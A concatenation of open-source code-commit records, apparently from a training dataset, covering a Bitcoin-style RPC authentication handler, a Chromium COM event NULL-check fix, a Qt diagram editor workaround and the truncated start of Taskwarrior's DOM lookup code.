\/\/ Check authorization\n    std::pair<bool, std::string> authHeader = req->GetHeader(\"authorization\");\n    if (!authHeader.first) {\n        req->WriteHeader(\"WWW-Authenticate\", WWW_AUTH_HEADER_DATA);\n        req->WriteReply(HTTP_UNAUTHORIZED);\n        return false;\n    }\n\n    JSONRPCRequest jreq;\n    jreq.peerAddr = req->GetPeer().ToString();\n    if (!RPCAuthorized(authHeader.second, jreq.authUser)) {\n        LogPrintf(\"ThreadRPCServer incorrect password attempt from %s\\n\", jreq.peerAddr);\n\n        \/* Deter brute-forcing\n           If this results in a DoS the user really\n           shouldn't have their RPC port exposed. *\/\n        MilliSleep(250);\n\n        req->WriteHeader(\"WWW-Authenticate\", WWW_AUTH_HEADER_DATA);\n        req->WriteReply(HTTP_UNAUTHORIZED);\n        return false;\n    }\n\n    try {\n        \/\/ Parse request\n        UniValue valRequest;\n        if (!valRequest.read(req->ReadBody()))\n            throw JSONRPCError(RPC_PARSE_ERROR, \"Parse error\");\n\n        \/\/ Set the URI\n        jreq.URI = req->GetURI();\n\n        std::string strReply;\n        \/\/ singleton request\n        if (valRequest.isObject()) {\n            jreq.parse(valRequest);\n\n            UniValue result = tableRPC.execute(jreq);\n\n            \/\/ Send reply\n            strReply = JSONRPCReply(result, NullUniValue, jreq.id);\n\n        \/\/ array of requests\n        } else if (valRequest.isArray())\n            strReply = JSONRPCExecBatch(jreq, valRequest.get_array());\n        else\n            throw JSONRPCError(RPC_PARSE_ERROR, \"Top-level object parse error\");\n\n        req->WriteHeader(\"Content-Type\", \"application\/json\");\n        req->WriteReply(HTTP_OK, strReply);\n    } catch (const UniValue& objError) {\n        JSONErrorReply(req, objError, jreq.id);\n        return false;\n    } catch (const std::exception& e) {\n        JSONErrorReply(req, JSONRPCError(RPC_PARSE_ERROR, e.what()), jreq.id);\n        return false;\n    }\n    return true;\n}\n\nstatic bool InitRPCAuthentication()\n{\n    if (gArgs.GetArg(\"-rpcpassword\", \"\") == \"\")\n    {\n        LogPrintf(\"No rpcpassword set - using random cookie authentication.\\n\");\n        if (!GenerateAuthCookie(&strRPCUserColonPass)) {\n            uiInterface.ThreadSafeMessageBox(\n                _(\"Error: A fatal internal error occurred, see debug.log for details\"), \/\/ Same message as AbortNode\n                \"\", CClientUIInterface::MSG_ERROR);\n            return false;\n        }\n    } else {\n        LogPrintf(\"Config options rpcuser and rpcpassword will soon be deprecated. Locally-run instances may remove rpcuser to use cookie-based auth, or may be replaced with rpcauth. Please see share\/rpcuser for rpcauth auth generation.\\n\");\n        strRPCUserColonPass = gArgs.GetArg(\"-rpcuser\", \"\") + \":\" + gArgs.GetArg(\"-rpcpassword\", \"\");\n    }\n    if (gArgs.GetArg(\"-rpcauth\",\"\") != \"\")\n    {\n        LogPrintf(\"Using rpcauth authentication.\\n\");\n    }\n    return true;\n}\n\nbool StartHTTPRPC()\n{\n    LogPrint(BCLog::RPC, \"Starting HTTP RPC server\\n\");\n    if (!InitRPCAuthentication())\n        return false;\n\n    RegisterHTTPHandler(\"\/\", true, HTTPReq_JSONRPC);\n#ifdef ENABLE_WALLET\n    \/\/ ifdef can be removed once we switch to better endpoint support and API versioning\n    RegisterHTTPHandler(\"\/wallet\/\", false, HTTPReq_JSONRPC);\n#endif\n    assert(EventBase());\n    httpRPCTimerInterface = MakeUnique<HTTPRPCTimerInterface>(EventBase());\n    RPCSetTimerInterface(httpRPCTimerInterface.get());\n    return true;\n}\n\nvoid InterruptHTTPRPC()\n{\n    LogPrint(BCLog::RPC, \"Interrupting HTTP RPC server\\n\");\n}\n\nvoid StopHTTPRPC()\n{\n    LogPrint(BCLog::RPC, \"Stopping HTTP RPC server\\n\");\n    UnregisterHTTPHandler(\"\/\", true);\n#ifdef ENABLE_WALLET\n    UnregisterHTTPHandler(\"\/wallet\/\", false);\n#endif\n    if (httpRPCTimerInterface) {\n        RPCUnsetTimerInterface(httpRPCTimerInterface.get());\n        httpRPCTimerInterface.reset();\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome_frame\/com_message_event.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/string_util.h\"\n#include \"base\/utf_string_conversions.h\"\n\nComMessageEvent::ComMessageEvent() {\n}\n\nComMessageEvent::~ComMessageEvent() {\n}\n\nbool ComMessageEvent::Initialize(IOleContainer* container,\n                                 const std::string& message,\n                                 const std::string& origin,\n                                 const std::string& event_type) {\n  DCHECK(container);\n  message_ = message;\n  origin_ = origin;\n  type_ = event_type;\n\n  \/\/ May remain NULL if container not IE\n  ScopedComPtr<IHTMLEventObj> basic_event;\n  ScopedComPtr<IHTMLDocument2> doc;\n\n  \/\/ Fetching doc may fail in non-IE containers.\n  container->QueryInterface(doc.Receive());\n  if (doc) {\n    ScopedComPtr<IHTMLDocument4> doc4;\n    doc4.QueryFrom(doc);\n    DCHECK(doc4);  \/\/ supported by IE5.5 and higher\n    if (doc4) {\n      \/\/ IHTMLEventObj5 is only supported in IE8 and later, so we provide our\n      \/\/ own (minimalistic) implementation of it.\n      doc4->createEventObject(NULL, basic_event.Receive());\n      DCHECK(basic_event);\n    }\n  }\n\n  basic_event_ = basic_event;\n  return true;\n}\n\nSTDMETHODIMP ComMessageEvent::GetTypeInfoCount(UINT* info) {\n  \/\/ Don't DCHECK as python scripts might still call this function\n  \/\/ inadvertently.\n  DLOG(WARNING) << \"Not implemented: \" << __FUNCTION__;\n  return E_NOTIMPL;\n}\n\nSTDMETHODIMP ComMessageEvent::GetTypeInfo(UINT which_info, LCID lcid,\n                                          ITypeInfo** type_info) {\n  DLOG(WARNING) << \"Not implemented: \" << __FUNCTION__;\n  return E_NOTIMPL;\n}\n\nSTDMETHODIMP ComMessageEvent::GetIDsOfNames(REFIID iid, LPOLESTR* names,\n                                            UINT count_names, LCID lcid,\n                                            DISPID* dispids) {\n  HRESULT hr = S_OK;\n\n  \/\/ Note that since we're using LowerCaseEqualsASCII for string comparison,\n  \/\/ the second argument _must_ be all lower case.  I.e. we cannot compare\n  \/\/ against L\"messagePort\" since it has a capital 'P'.\n  for (UINT i = 0; SUCCEEDED(hr) && i < count_names; ++i) {\n    const wchar_t* name_begin = names[i];\n    const wchar_t* name_end = name_begin + wcslen(name_begin);\n    if (LowerCaseEqualsASCII(name_begin, name_end, \"data\")) {\n      dispids[i] = DISPID_MESSAGE_EVENT_DATA;\n    } else if (LowerCaseEqualsASCII(name_begin, name_end, \"origin\")) {\n      dispids[i] = DISPID_MESSAGE_EVENT_ORIGIN;\n    } else if (LowerCaseEqualsASCII(name_begin, name_end, \"lasteventid\")) {\n      dispids[i] = DISPID_MESSAGE_EVENT_LAST_EVENT_ID;\n    } else if (LowerCaseEqualsASCII(name_begin, name_end, \"source\")) {\n      dispids[i] = DISPID_MESSAGE_EVENT_SOURCE;\n    } else if (LowerCaseEqualsASCII(name_begin, name_end, \"messageport\")) {\n      dispids[i] = DISPID_MESSAGE_EVENT_MESSAGE_PORT;\n    } else if (LowerCaseEqualsASCII(name_begin, name_end, \"type\")) {\n      dispids[i] = DISPID_MESSAGE_EVENT_TYPE;\n    } else {\n      if (basic_event_) {\n        hr = basic_event_->GetIDsOfNames(IID_IDispatch, &names[i], 1, lcid,\n                                         &dispids[i]);\n      } else {\n        hr = DISP_E_MEMBERNOTFOUND;\n      }\n\n      if (FAILED(hr)) {\n        DLOG(WARNING) << \"member not found: \" << names[i]\n                      << StringPrintf(L\"0x%08X\", hr);\n      }\n    }\n  }\n  return hr;\n}\n\nSTDMETHODIMP ComMessageEvent::Invoke(DISPID dispid, REFIID iid, LCID lcid,\n                                     WORD flags, DISPPARAMS* params,\n                                     VARIANT* result, EXCEPINFO* excepinfo,\n                                     UINT* arg_err) {\n  HRESULT hr = DISP_E_MEMBERNOTFOUND;\n  switch (dispid) {\n    case DISPID_MESSAGE_EVENT_DATA:\n      hr = GetStringProperty(flags, UTF8ToWide(message_).c_str(), result);\n      break;\n\n    case DISPID_MESSAGE_EVENT_ORIGIN:\n      hr = GetStringProperty(flags, UTF8ToWide(origin_).c_str(), result);\n      break;\n\n    case DISPID_MESSAGE_EVENT_TYPE:\n      hr = GetStringProperty(flags, UTF8ToWide(type_).c_str(), result);\n      break;\n\n    case DISPID_MESSAGE_EVENT_LAST_EVENT_ID:\n      hr = GetStringProperty(flags, L\"\", result);\n      break;\n\n    case DISPID_MESSAGE_EVENT_SOURCE:\n    case DISPID_MESSAGE_EVENT_MESSAGE_PORT:\n      if (flags & DISPATCH_PROPERTYGET) {\n        result->vt = VT_NULL;\n        hr = S_OK;\n      } else {\n        hr = DISP_E_TYPEMISMATCH;\n      }\n      break;\n\n    default:\n      if (basic_event_) {\n        hr = basic_event_->Invoke(dispid, iid, lcid, flags, params, result,\n                                  excepinfo, arg_err);\n      }\n      break;\n  }\n\n  return hr;\n}\n\nHRESULT ComMessageEvent::GetStringProperty(WORD flags, const wchar_t* value,\n                                           VARIANT* result) {\n  if (!result)\n    return E_INVALIDARG;\n\n  HRESULT hr;\n  if (flags & DISPATCH_PROPERTYGET) {\n    result->vt = VT_BSTR;\n    result->bstrVal = ::SysAllocString(value);\n    hr = S_OK;\n  } else {\n    hr = DISP_E_TYPEMISMATCH;\n  }\n  return hr;\n}\n<commit_msg>Check the container for NULLness before dereferencing.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome_frame\/com_message_event.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/string_util.h\"\n#include \"base\/utf_string_conversions.h\"\n\nComMessageEvent::ComMessageEvent() {\n}\n\nComMessageEvent::~ComMessageEvent() {\n}\n\nbool ComMessageEvent::Initialize(IOleContainer* container,\n                                 const std::string& message,\n                                 const std::string& origin,\n                                 const std::string& event_type) {\n  DLOG_IF(WARNING, !container) << __FUNCTION__ << \" no container\";\n  message_ = message;\n  origin_ = origin;\n  type_ = event_type;\n\n  \/\/ May remain NULL if container not IE\n  ScopedComPtr<IHTMLEventObj> basic_event;\n  ScopedComPtr<IHTMLDocument2> doc;\n\n  \/\/ Fetching doc may fail in non-IE containers\n  \/\/ and container might be NULL in some applications.\n  if (container)\n    container->QueryInterface(doc.Receive());\n  if (doc) {\n    ScopedComPtr<IHTMLDocument4> doc4;\n    doc4.QueryFrom(doc);\n    DCHECK(doc4);  \/\/ supported by IE5.5 and higher\n    if (doc4) {\n      \/\/ IHTMLEventObj5 is only supported in IE8 and later, so we provide our\n      \/\/ own (minimalistic) implementation of it.\n      doc4->createEventObject(NULL, basic_event.Receive());\n      DCHECK(basic_event);\n    }\n  }\n\n  basic_event_ = basic_event;\n  return true;\n}\n\nSTDMETHODIMP ComMessageEvent::GetTypeInfoCount(UINT* info) {\n  \/\/ Don't DCHECK as python scripts might still call this function\n  \/\/ inadvertently.\n  DLOG(WARNING) << \"Not implemented: \" << __FUNCTION__;\n  return E_NOTIMPL;\n}\n\nSTDMETHODIMP ComMessageEvent::GetTypeInfo(UINT which_info, LCID lcid,\n                                          ITypeInfo** type_info) {\n  DLOG(WARNING) << \"Not implemented: \" << __FUNCTION__;\n  return E_NOTIMPL;\n}\n\nSTDMETHODIMP ComMessageEvent::GetIDsOfNames(REFIID iid, LPOLESTR* names,\n                                            UINT count_names, LCID lcid,\n                                            DISPID* dispids) {\n  HRESULT hr = S_OK;\n\n  \/\/ Note that since we're using LowerCaseEqualsASCII for string comparison,\n  \/\/ the second argument _must_ be all lower case.  I.e. we cannot compare\n  \/\/ against L\"messagePort\" since it has a capital 'P'.\n  for (UINT i = 0; SUCCEEDED(hr) && i < count_names; ++i) {\n    const wchar_t* name_begin = names[i];\n    const wchar_t* name_end = name_begin + wcslen(name_begin);\n    if (LowerCaseEqualsASCII(name_begin, name_end, \"data\")) {\n      dispids[i] = DISPID_MESSAGE_EVENT_DATA;\n    } else if (LowerCaseEqualsASCII(name_begin, name_end, \"origin\")) {\n      dispids[i] = DISPID_MESSAGE_EVENT_ORIGIN;\n    } else if (LowerCaseEqualsASCII(name_begin, name_end, \"lasteventid\")) {\n      dispids[i] = DISPID_MESSAGE_EVENT_LAST_EVENT_ID;\n    } else if (LowerCaseEqualsASCII(name_begin, name_end, \"source\")) {\n      dispids[i] = DISPID_MESSAGE_EVENT_SOURCE;\n    } else if (LowerCaseEqualsASCII(name_begin, name_end, \"messageport\")) {\n      dispids[i] = DISPID_MESSAGE_EVENT_MESSAGE_PORT;\n    } else if (LowerCaseEqualsASCII(name_begin, name_end, \"type\")) {\n      dispids[i] = DISPID_MESSAGE_EVENT_TYPE;\n    } else {\n      if (basic_event_) {\n        hr = basic_event_->GetIDsOfNames(IID_IDispatch, &names[i], 1, lcid,\n                                         &dispids[i]);\n      } else {\n        hr = DISP_E_MEMBERNOTFOUND;\n      }\n\n      if (FAILED(hr)) {\n        DLOG(WARNING) << \"member not found: \" << names[i]\n                      << StringPrintf(L\"0x%08X\", hr);\n      }\n    }\n  }\n  return hr;\n}\n\nSTDMETHODIMP ComMessageEvent::Invoke(DISPID dispid, REFIID iid, LCID lcid,\n                                     WORD flags, DISPPARAMS* params,\n                                     VARIANT* result, EXCEPINFO* excepinfo,\n                                     UINT* arg_err) {\n  HRESULT hr = DISP_E_MEMBERNOTFOUND;\n  switch (dispid) {\n    case DISPID_MESSAGE_EVENT_DATA:\n      hr = GetStringProperty(flags, UTF8ToWide(message_).c_str(), result);\n      break;\n\n    case DISPID_MESSAGE_EVENT_ORIGIN:\n      hr = GetStringProperty(flags, UTF8ToWide(origin_).c_str(), result);\n      break;\n\n    case DISPID_MESSAGE_EVENT_TYPE:\n      hr = GetStringProperty(flags, UTF8ToWide(type_).c_str(), result);\n      break;\n\n    case DISPID_MESSAGE_EVENT_LAST_EVENT_ID:\n      hr = GetStringProperty(flags, L\"\", result);\n      break;\n\n    case DISPID_MESSAGE_EVENT_SOURCE:\n    case DISPID_MESSAGE_EVENT_MESSAGE_PORT:\n      if (flags & DISPATCH_PROPERTYGET) {\n        result->vt = VT_NULL;\n        hr = S_OK;\n      } else {\n        hr = DISP_E_TYPEMISMATCH;\n      }\n      break;\n\n    default:\n      if (basic_event_) {\n        hr = basic_event_->Invoke(dispid, iid, lcid, flags, params, result,\n                                  excepinfo, arg_err);\n      }\n      break;\n  }\n\n  return hr;\n}\n\nHRESULT ComMessageEvent::GetStringProperty(WORD flags, const wchar_t* value,\n                                           VARIANT* result) {\n  if (!result)\n    return E_INVALIDARG;\n\n  HRESULT hr;\n  if (flags & DISPATCH_PROPERTYGET) {\n    result->vt = VT_BSTR;\n    result->bstrVal = ::SysAllocString(value);\n    hr = S_OK;\n  } else {\n    hr = DISP_E_TYPEMISMATCH;\n  }\n  return hr;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/** @file editorviewmviface.cpp\n * \t@brief Класс, реализующий интерфейс представления в схеме Model\/View\n * *\/\n#include <QtGui>\n\n#include \"editorviewmviface.h\"\n\n#include \"editorview.h\"\n#include \"editorviewscene.h\"\n\n#include \"realreporoles.h\"\n\n#include \"uml_element.h\"\n#include \"uml_guiobjectfactory.h\"\n\nEditorViewMViface::EditorViewMViface(EditorView *view, EditorViewScene *scene)\n\t: QAbstractItemView(0)\n{\n\tthis->view = view;\n\tthis->scene = scene;\n\n\t\/\/    view->mv_iface = this;\n\tscene->mv_iface = this;\n\tscene->view = view;\n}\n\nQRect EditorViewMViface::visualRect(const QModelIndex &) const\n{\n\treturn QRect();\n}\n\nvoid EditorViewMViface::scrollTo(const QModelIndex &, ScrollHint)\n{\n}\n\nQModelIndex EditorViewMViface::indexAt(const QPoint &) const\n{\n\treturn QModelIndex();\n}\n\nQModelIndex EditorViewMViface::moveCursor(QAbstractItemView::CursorAction,\n\t\tQt::KeyboardModifiers)\n{\n\treturn QModelIndex();\n}\n\nint EditorViewMViface::horizontalOffset() const\n{\n\treturn 0;\n}\n\nint EditorViewMViface::verticalOffset() const\n{\n\treturn 0;\n}\n\nbool EditorViewMViface::isIndexHidden(const QModelIndex &) const\n{\n\treturn false;\n}\n\nvoid EditorViewMViface::setSelection(const QRect&, QItemSelectionModel::SelectionFlags )\n{\n}\n\nQRegion EditorViewMViface::visualRegionForSelection(const QItemSelection &) const\n{\n\treturn QRegion();\n}\n\/*\nvoid EditorViewMViface::raiseClick ( const QGraphicsItem * item )\n{\n\tconst UML::Element *e = qgraphicsitem_cast<const UML::Element *>(item);\n\tif (e)\n\t\temit clicked(e->index());\n}\n*\/\n\nUML::Element* EditorViewMViface::getItem(int uuid)\n{\n\treturn items[uuid];\n}\n\nvoid EditorViewMViface::reset()\n{\n\titems.clear();\n\tscene->clearScene();\n\n\t\/\/ so that our diagram be nicer\n\tscene->removeItem(scene->addRect(QRect(-1000,-1000,2000,2000)));\n\n\tif ( model() )\n\t\trowsInserted(rootIndex(), 0, model()->rowCount(rootIndex()) - 1 );\n}\n\nvoid EditorViewMViface::setRootIndex(const QModelIndex &index)\n{\n\tQAbstractItemView::setRootIndex(index);\n\treset();\n}\n\nvoid EditorViewMViface::rowsInserted ( const QModelIndex & parent, int start, int end )\n{\n\/\/\tqDebug() << \"========== rowsInserted\" << parent << start << end;\n\n\/\/\tif ( parent != rootIndex() )\n\/\/\t\treturn;\n\tif ( parent == QModelIndex() || parent.parent() == QModelIndex() )\n\t\treturn;\n\n\/\/\tqDebug() << \"rowsInserted: adding items\" << parent;\n\tfor (int row = start; row <= end; ++row) {\n\t\tQPersistentModelIndex current = model()->index(row, 0, parent);\n\t\tint uuid = model()->index(row, 0, parent).data(Unreal::IdRole).toInt();\n\t\tint type = model()->index(row, 0, parent).data(Unreal::TypeRole).toInt();\n\n\t\tint parent_uuid;\n\t\tif ( parent != rootIndex() )\n\t\t\t\tparent_uuid = parent.data(Unreal::IdRole).toInt();\n\t\telse\n\t\t\t\tparent_uuid = -1;\n\n\/\/\t\tqDebug() << uuid << type;\n\n\t\tif ( ! uuid )\n\t\t\tcontinue;\n\n\t\tif ( UML::Element *e = UML::GUIObjectFactory(type) ) {\n\t\t\tscene->addItem(e);\n\t\t\te->setIndex(current);\n\t\t\te->setPos(current.data(Unreal::PositionRole).toPointF());\n\n\t\t\tif ( parent_uuid != -1 )\n\t\t\t\te->setParentItem(items[parent_uuid]);\n\n\t\t\titems[uuid] = e;\n\t\t\te->connectToPort();\n\t\t}\n\n\t\tif ( model()->hasChildren(current) ) {\n\t\t\trowsInserted( current, 0, model()->rowCount( current ) - 1 );\n\t\t}\n\t}\n\n\n\/\/\tqDebug() << \"rowsInserted: updating items\";\n\tfor (int row = start; row <= end; ++row) {\n\t\tint uuid = model()->index(row, 0, parent).data(Unreal::IdRole).toInt();\n\t\tif (items.contains(uuid))\n\t\t\titems[uuid]->updateData();\n\t}\n\n\tQAbstractItemView::rowsInserted(parent, start, end);\n}\n\nvoid EditorViewMViface::rowsAboutToBeRemoved ( const QModelIndex & parent, int start, int end )\n{\n\tfor (int row = start; row <= end; ++row) {\n\t\tint uuid = model()->index(row, 0, parent).data(Unreal::IdRole).toInt();\n\n\t\tscene->removeItem(items[uuid]);\n\t\tdelete items[uuid];\n\t\titems.remove(uuid);\n\t}\n\n\tQAbstractItemView::rowsAboutToBeRemoved(parent, start, end);\n}\n\nvoid EditorViewMViface::dataChanged(const QModelIndex &topLeft,\n\t\tconst QModelIndex &bottomRight)\n{\n\tfor (int row = topLeft.row(); row <= bottomRight.row(); ++row) {\n\t\tint uuid = topLeft.sibling(row, 0).data(Unreal::IdRole).toInt();\n\n\t\tif ( items.contains(uuid) )\n\t\t\titems[uuid]->updateData();\n\t\telse\n\t\t\trowsInserted(topLeft.parent(),row,row);\n\n\t}\n}\n\n<commit_msg>Быстрый фикс к проблеме \"отваливающихся\" edgeElementов.<commit_after>\/** @file editorviewmviface.cpp\n * \t@brief Класс, реализующий интерфейс представления в схеме Model\/View\n * *\/\n#include <QtGui>\n\n#include \"editorviewmviface.h\"\n\n#include \"editorview.h\"\n#include \"editorviewscene.h\"\n\n#include \"realreporoles.h\"\n\n#include \"uml_element.h\"\n#include \"uml_guiobjectfactory.h\"\n\nEditorViewMViface::EditorViewMViface(EditorView *view, EditorViewScene *scene)\n\t: QAbstractItemView(0)\n{\n\tthis->view = view;\n\tthis->scene = scene;\n\n\t\/\/    view->mv_iface = this;\n\tscene->mv_iface = this;\n\tscene->view = view;\n}\n\nQRect EditorViewMViface::visualRect(const QModelIndex &) const\n{\n\treturn QRect();\n}\n\nvoid EditorViewMViface::scrollTo(const QModelIndex &, ScrollHint)\n{\n}\n\nQModelIndex EditorViewMViface::indexAt(const QPoint &) const\n{\n\treturn QModelIndex();\n}\n\nQModelIndex EditorViewMViface::moveCursor(QAbstractItemView::CursorAction,\n\t\tQt::KeyboardModifiers)\n{\n\treturn QModelIndex();\n}\n\nint EditorViewMViface::horizontalOffset() const\n{\n\treturn 0;\n}\n\nint EditorViewMViface::verticalOffset() const\n{\n\treturn 0;\n}\n\nbool EditorViewMViface::isIndexHidden(const QModelIndex &) const\n{\n\treturn false;\n}\n\nvoid EditorViewMViface::setSelection(const QRect&, QItemSelectionModel::SelectionFlags )\n{\n}\n\nQRegion EditorViewMViface::visualRegionForSelection(const QItemSelection &) const\n{\n\treturn QRegion();\n}\n\/*\nvoid EditorViewMViface::raiseClick ( const QGraphicsItem * item )\n{\n\tconst UML::Element *e = qgraphicsitem_cast<const UML::Element *>(item);\n\tif (e)\n\t\temit clicked(e->index());\n}\n*\/\n\nUML::Element* EditorViewMViface::getItem(int uuid)\n{\n\treturn items[uuid];\n}\n\nvoid EditorViewMViface::reset()\n{\n\titems.clear();\n\tscene->clearScene();\n\n\t\/\/ so that our diagram be nicer\n\tscene->removeItem(scene->addRect(QRect(-1000,-1000,2000,2000)));\n\n\tif ( model() )\n\t\trowsInserted(rootIndex(), 0, model()->rowCount(rootIndex()) - 1 );\n}\n\nvoid EditorViewMViface::setRootIndex(const QModelIndex &index)\n{\n\tQAbstractItemView::setRootIndex(index);\n\treset();\n}\n\nvoid EditorViewMViface::rowsInserted ( const QModelIndex & parent, int start, int end )\n{\n\/\/\tqDebug() << \"========== rowsInserted\" << parent << start << end;\n\n\/\/\tif ( parent != rootIndex() )\n\/\/\t\treturn;\n\tif ( parent == QModelIndex() || parent.parent() == QModelIndex() )\n\t\treturn;\n\n\/\/\tqDebug() << \"rowsInserted: adding items\" << parent;\n\tfor (int row = start; row <= end; ++row) {\n\t\tQPersistentModelIndex current = model()->index(row, 0, parent);\n\t\tint uuid = model()->index(row, 0, parent).data(Unreal::IdRole).toInt();\n\t\tint type = model()->index(row, 0, parent).data(Unreal::TypeRole).toInt();\n\n\t\tint parent_uuid;\n\t\tif ( parent != rootIndex() )\n\t\t\t\tparent_uuid = parent.data(Unreal::IdRole).toInt();\n\t\telse\n\t\t\t\tparent_uuid = -1;\n\n\/\/\t\tqDebug() << uuid << type;\n\n\t\tif ( ! uuid )\n\t\t\tcontinue;\n\n\t\tif ( UML::Element *e = UML::GUIObjectFactory(type) ) {\n\t\t\tscene->addItem(e);\n\t\t\te->setIndex(current);\n\t\t\te->setPos(current.data(Unreal::PositionRole).toPointF());\n\n\t\t\tif ( parent_uuid != -1 )\n\t\t\t\te->setParentItem(items[parent_uuid]);\n\n\t\t\titems[uuid] = e;\n\n\t\t\t\/\/ TODO: workaround for #92 - connectToPort sets old configuration\n\t\t\t\/\/ to a model, so we can not get it in updateData later.\n\t\t\t\/\/ More accurate fix needed.\n\t\t\te->updateData();\n\n\t\t\te->connectToPort();\n\t\t}\n\n\t\tif ( model()->hasChildren(current) ) {\n\t\t\trowsInserted( current, 0, model()->rowCount( current ) - 1 );\n\t\t}\n\t}\n\n\n\/\/\tqDebug() << \"rowsInserted: updating items\";\n\tfor (int row = start; row <= end; ++row) {\n\t\tint uuid = model()->index(row, 0, parent).data(Unreal::IdRole).toInt();\n\t\tif (items.contains(uuid))\n\t\t\titems[uuid]->updateData();\n\t}\n\n\tQAbstractItemView::rowsInserted(parent, start, end);\n}\n\nvoid EditorViewMViface::rowsAboutToBeRemoved ( const QModelIndex & parent, int start, int end )\n{\n\tfor (int row = start; row <= end; ++row) {\n\t\tint uuid = model()->index(row, 0, parent).data(Unreal::IdRole).toInt();\n\n\t\tscene->removeItem(items[uuid]);\n\t\tdelete items[uuid];\n\t\titems.remove(uuid);\n\t}\n\n\tQAbstractItemView::rowsAboutToBeRemoved(parent, start, end);\n}\n\nvoid EditorViewMViface::dataChanged(const QModelIndex &topLeft,\n\t\tconst QModelIndex &bottomRight)\n{\n\tfor (int row = topLeft.row(); row <= bottomRight.row(); ++row) {\n\t\tint uuid = topLeft.sibling(row, 0).data(Unreal::IdRole).toInt();\n\n\t\tif ( items.contains(uuid) )\n\t\t\titems[uuid]->updateData();\n\t\telse\n\t\t\trowsInserted(topLeft.parent(),row,row);\n\n\t}\n}\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Reverted r702, also adding a comment stating why we shouldn't do this.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2006 - 2014, Paul Beckingham, Federico Hernandez.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included\n\/\/ in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n\/\/ OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/\n\/\/ http:\/\/www.opensource.org\/licenses\/mit-license.php\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <cmake.h>\n#include <sstream>\n#include <map>\n#include <stdlib.h>\n#include <Variant.h>\n#include <Duration.h>\n#include <Context.h>\n#include <Nibbler.h>\n#include <Date.h>\n#include <text.h>\n#include <i18n.h>\n#include <DOM.h>\n\nextern Context context;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nDOM::DOM ()\n{\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nDOM::~DOM ()\n{\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst std::vector <std::string> DOM::get_references () const\n{\n  std::vector <std::string> refs;\n\n  refs.push_back (\"context.program\");\n  refs.push_back (\"context.args\");\n  refs.push_back (\"context.width\");\n  refs.push_back (\"context.height\");\n  refs.push_back (\"system.version\");\n  refs.push_back (\"system.os\");\n\n  return refs;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DOM Supported References:\n\/\/   rc.<name>\n\/\/\n\/\/   context.program\n\/\/   context.args\n\/\/   context.width\n\/\/   context.height\n\/\/\n\/\/   TODO stats.<name>           <-- context.stats\n\/\/\n\/\/   system.version\n\/\/   system.os\n\/\/\nbool DOM::get (const std::string& name, Variant& value)\n{\n  int len = name.length ();\n  Nibbler n (name);\n\n  \/\/ rc. --> context.config\n  if (len > 3 &&\n      name.substr (0, 3) == \"rc.\")\n  {\n    std::string key = name.substr (3);\n    std::map <std::string, std::string>::iterator c = context.config.find (key);\n    if (c != context.config.end ())\n    